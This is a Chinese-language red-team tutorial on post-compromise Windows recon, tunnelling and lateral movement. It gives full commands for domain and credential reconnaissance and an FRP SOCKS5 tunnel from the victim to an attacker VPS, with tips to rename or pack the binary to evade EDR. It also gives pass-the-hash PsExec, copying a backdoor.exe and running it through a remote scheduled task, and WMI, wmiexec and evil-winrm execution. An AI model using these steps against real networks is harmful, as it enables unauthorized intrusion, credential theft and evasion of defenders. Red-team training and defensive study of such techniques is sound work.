拿到一台windows主机后如何内网渗透&横向移动?
红队拿到windows主机之后,所有的信息收集只有一个目的:判断能不能提权、能不能横向移动、有没有凭据、能不能找到跳板、摸清所处网络环境。
内网收集清单
- ipconfig/all:获取本机ip、子网掩码、网关、DNS服务器->画出内网网段,判断内网有哪些子网,规划横向范围。查看网卡数量,多网卡大概率是跳板机,可以跨网段渗透。DNS很关键,如果DNS服务器是域控ip->确认当前处于域环境;
例如:
C:\>ipconfig /all
以太网适配器 外网网卡:
连接特定的DNS后缀 . . . . . . . . :
IPv4 地址 . . . . . . . . . . . . : 192.168.30.77
子网掩码 . . . . . . . . . . . . : 255.255.255.0
默认网关. . . . . . . . . . . . . : 192.168.30.1
DNS 服务器 . . . . . . . . . . . : 192.168.30.10
以太网适配器 内网网卡:
连接特定的DNS后缀 . . . . . . . . : corp.local
IPv4 地址 . . . . . . . . . . . . : 172.22.10.33
子网掩码 . . . . . . . . . . . . : 255.255.255.0
默认网关. . . . . . . . . . . . . :
DNS 服务器 . . . . . . . . . . . : 192.168.30.10
1.本机网段 192.168.30.0/24,优先扫描这个网段,寻找存活主机。
2.网络架构:外网 → 192.168.30.x(本机) ⇔ 172.22.10.x(数据库、域控),所以,这是一个双网卡跳板。我需要在本机搭建 SOCKS 代理,把我外部 VPS 的流量转发进 172.22.10.0 网段,才能渗透里面的数据库、核心服务器。
如果发现只有一个网卡怎么办,是不是代表不存在其他网段?
不是,单网卡,依靠路由配置,同样能访问多个不同内网网段。利用route print命令查看路由表,例如:
网络目标 子网掩码 网关
172.22.10.0 255.255.255.0 192.168.30.5
当本机想要访问 172.22.10.0 网段的设备,数据包统一发给 192.168.30.5。
192.168.30.5 是一台三层路由设备(防火墙 / 另一台服务器),它负责转发流量去往 172.22.10 网段。
这时候我们不仅发现其他网卡,还发现了172.22.10 网段。这时候我们需要判断这个下一跳是否是一个可以攻陷的双网卡机->如果是 Windows/Linux 服务器:优先尝试攻陷,它极大概率是双网卡跳板;如果是防火墙、交换机等网络设备:放弃拿下一跳,直接通过本机 SOCKS 代理,扫描远端网段的主机寻找突破口
所以,ipconfig /all 之后,必须补充执行 route print,排查是否存在能抵达的其他内网网段。
3.验证DNSip是不是域控:第一步:执行命令systeminfo | findstr "域"
返回结果:域: CORP.LOCAL
含义:CORP.LOCAL 是当前活动目录完整域名。如果返回 WORKGROUP,代表工作组环境,没有域控制器。
例如我自己的本机:
第二步:nslookup dc.corp.local假设返回 IP:192.168.30.10,我们可以得到猜想:这台 DNS 服务器大概率是域控制器。
为什么很多环境里,DNS服务器ip恰好就是域控IP?
活动目录(AD 域)想要正常运行,强依赖 DNS。Windows 电脑加入域、用户登录域、电脑寻找域控进行身份验证,全部依靠 DNS 查询。90%中小企业管理员安装域控制器的时候,直接在域控这台服务器上顺带安装 DNS 服务。
- systeminfo | findstr "域"
域: CORP.LOCAL
登录服务器: \DC01
操作系统名称: Microsoft Windows Server 2019 Standard
操作系统版本: 10.0.17763
已安装的修补程序数量: 12 Hotfix(s)
systeminfo 能 100% 确信本机域环境吗?
正常情况下可靠。极少数管理员可以修改注册表篡改 systeminfo 展示内容。如果想要双重验证,可以执行:echo %USERDNSDOMAIN%,环境正常时,这条命令输出域名,和 systeminfo 相互印证。
- whoami /all:查看当前执行命令的用户身份、用户组、系统特权权限,判断我们现在权限高低,决定下一步动作。
重点关注 3 块内容
1.当前用户名、所属用户组
如果用户在 Administrators 管理员组:本机拥有完整管理权限,可以尝试导出凭证、读取注册表、配置后门;
如果只是普通域用户 / 普通本地用户:首要目标 ——本地提权。
2.特权列表(Privileges)
重点盯:SeDebugPrivilege
状态为 已启用:可以直接读取 lsass 进程内存,抓取内存中的账号哈希;
状态为禁用:常规方式无法 dump lsass,需要寻找其他方案绕过。
3.用户 SID
安全标识符,域内每个用户唯一编号,后续进行票据劫持、权限分析时会用到。
- net user:列出本机所有本地账户,梳理本机存在哪些账号,后续横向移动可以尝试这些账号进行爆破;寻找可疑账号,判断是否存在攻击者遗留的影子账号;区分【本地账号】和【域账号】
net user Administrator可以看到账号是否启用、密码过期策略、登录时间等信息。
- net localgroup Administrators
别名 Administrators
注释 管理员对计算机/域有不受限制的完全访问权
成员
Administrator
corp\admin01
命令成功完成。
能出现在 Administrators 组内的账号,可以远程登录、执行高权限操作,是横向移动黄金目标!
如果后续抓到 corp\admin01 的密码或者 NTLM 哈希,就可以利用该账号访问这台主机,也可以尝试看看该账号是否在其他机器同样拥有管理员权限。
- tasklist /v:列出系统所有正在运行的进程,附带:进程 PID、启动这个进程的用户名、窗口会话信息。红队重点关注:进程由哪个账号启动。
映像名称 PID 会话名 会话# 内存使用 状态 用户名
========================= ======== ================ =========== ============ ===============
lsass.exe 624 Services 0 18,456 K Running NT AUTHORITY\SYSTEM
svchost.exe 892 Services 0 7,232 K Running corp\admin01
notepad.exe 4528 Console 1 2,864 K Running corp\user01
mstsc.exe 3312 Console 1 11,200 K Running corp\user01
很多杀毒、EDR 会重点监控对 lsass 的读取行为,直接 dump 极易告警。
正常 svchost 大多由 SYSTEM、本地服务账号启动。如果出现域管理员账号启动的进程,代表 corp\admin01 当前已经登录过这台机器。机会点:lsass 很可能缓存了该账号凭证。taskkill /F /PID 4528根据 PID 强制结束进程(规避安全软件,慎用)tasklist /v | findstr lsasstasklist /v | findstr mstsc筛选特定进程,减少输出干扰
- arp -a :查看本机 ARP 缓存表。哪怕你没有主动扫描,只要本机曾经和目标 IP 产生网络交互,ARP 缓存里就会出现。可以直接拿到一批存活 IP,作为横向移动目标,不会产生新的扫描流量,隐蔽性强。
- wmic qfe get hotfixid # 补丁
- wmic share get # 共享
- set # 环境变量
如何内网穿透呢?
在你拿下一台主机之后,需要使用工具去对其他内网网段进行扫描,但是一般跳板机里面不会预装nmap、psexec、mimikatz、各种扫描渗透工具,这时候就要搭建 FRP Socks5 隧道,在自己的本机里面使用。
阶段1:
假设已经拿到边界服务器 Windows CMD 权限 / WebShell
先执行几条命令验证环境,确认是一台可用跳板:whoamiipconfig /allsysteminfo
确认信息:
1.是否能正常回显命令
2.内网网段、是否域环境
3.确认操作系统版本
阶段 1 核心产出:拥有跳板机器交互式命令执行能力,到此具备搭建 FRP 前提。
阶段 2:搭建 FRP 内网穿透
拓扑:你的 VPS(公网 IP:1.2.3.4)运行 frps
受害跳板 Windows 运行 frpc,主动向外连接 VPS,建立 Socks5 代理隧道
① VPS 服务端(frps.ini)
[common]
bind_port = 7000
token = Pass123456
启动 frps(Linux VPS)
./frps -c frps.ini
② Windows 跳板 frpc.ini 配置(上传到目标机器)
[common]
server_addr = 1.2.3.4
server_port = 7000
token = Pass123456
[socks5]
type = tcp
remote_port = 1080
plugin = socks5
③ 在跳板机 cmd 执行启动 frpc
先把 frpc.exe、frpc.ini 上传到跳板,例如放到 C:\Windows\Temp\
cd C:\Windows\Temp
frpc.exe -c frpc.ini
成功标志:日志提示 start proxy success
隧道效果:
你的本机 → socks5://1.2.3.4:1080
所有流量中转进入内网跳板。
④ 本机配置代理二选一
方案 A:Linux 本机 proxychains(配合 nmap、impacket 工具)
修改 /etc/proxychains4.conf
末尾添加
socks5 1.2.3.4 1080
使用方式:
proxychains nmap -sT -Pn 192.168.30.0/24
方案 B:Windows 本机 Proxifier
配置代理服务器:
类型:Socks5,地址 1.2.3.4,端口 1080
全局开启代理,此时 psexec、wmiexec、扫描器全部自动走隧道。
重要实操细节(避坑)
1.跳板防火墙默认不拦截出站连接,frpc 主动向外连 VPS 基本都能通;
2.如果跳板有 EDR,frpc.exe 特征明显,需要改名、加壳规避;
3.不要直接后台运行无清理,红蓝对抗结束需要结束进程、删除文件;
关闭 frpc 命令(跳板 cmd):
taskkill /f /im frpc.exe
del /f /q C:\Windows\Temp\frpc.exe C:\Windows\Temp\frpc.ini
Windows 内网横向移动手段
绝大多数横向移动,必须拥有目标机器认可的身份凭证
凭证分为两大类:
1.账号+明文密码
2.NTLM Hash(不需要明文,可使用哈希传递 PtH)没有有效凭证,大部分方式直接拒绝访问;漏洞利用(永恒之蓝)属于特例,不需要账号。
1.PsExec(内网最经典、知名度最高)
依赖端口:445(SMB)
原理:利用 Windows 默认共享 admin$(映射 C:\Windows\)
1.使用凭证访问目标 445,认证通过
2.将程序上传至目标 C:\Windows\
3.在远程主机创建临时系统服务,启动程序执行命令
4.执行完毕删除临时服务
psexec \192.168.30.20 -u corp\admin -p Password123 cmd
Hash传递 PtH
psexec \192.168.30.20 -u corp\admin -h NTLMHASH cmd
- IPC$ 共享 + schtasks 远程计划任务
依赖端口:445
IPC$ 是命名管道,用于远程身份验证,不存放文件。
完整攻击链路:
1. 建立IPC连接
net use \192.168.30.20\ipc$ /user:corp\admin "Password123"
2. 可选上传木马至admin$
copy backdoor.exe \192.168.30.20\admin$
3. 远程创建计划任务立刻执行
schtasks /s 192.168.30.20 /u corp\admin /p Password123 /create /tn "Backdoor" /tr "C:\Windows\backdoor.exe" /sc once /st 23:59
4. 运行任务
schtasks /s 192.168.30.20 /run /tn "Backdoor"
旧系统使用 at,Win10/2012 + 推荐 schtasks
特点:不会创建 PsExec 那种临时服务,检测阈值相对低一点;依旧需要管理员权限。
- WMI 横向移动
依赖端口:135 + 动态高位端口(DCOM)
进程:wmiprvse.exe
Windows 原生管理接口,支持无文件远程执行。
执行命令:
wmic /node:"192.168.30.20" /user:corp\admin process call create "cmd.exe /c whoami"
配套工具:wmiexec.py(Impacket)渗透中高频使用,支持哈希传递
proxychains python3 wmiexec.py corp/admin@192.168.30.20
- WinRM(Windows 远程管理)
端口:HTTP 5985;HTTPS 5986
多用于服务器批量运维,PowerShell 远程会话。
前提:目标手动开启 WinRM(默认关闭)
PowerShell 交互 shell:
$cred = Get-Credential
Enter-PSSession -ComputerName 192.168.30.20 -Credential $cred
工具:evil-winrm(Kali 常用)
proxychains evil-winrm -i 192.168.30.20 -u admin -p Password123
- RDP 相关横向
端口:3389
两种场景:
已有凭证,mstsc 远程登录桌面;账号需要加入 Remote Desktop Users
影子会话:不用挤掉当前在线用户,偷偷接管桌面
限制:一般不需要本地管理员权限,但服务器环境很多不开放 3389。 - SMB 漏洞利用:MS17-010 永恒之蓝 EternalBlue
端口:445
⚠️ 和上面所有手段本质区别:不需要任何账号密码!
影响:Windows7、Server2008 等未打补丁老旧系统
原理:SMB 协议栈漏洞,远程代码执行。
❌局限:现在绝大多数服务器已修复,只能用来捡漏,不属于通用横向手段。




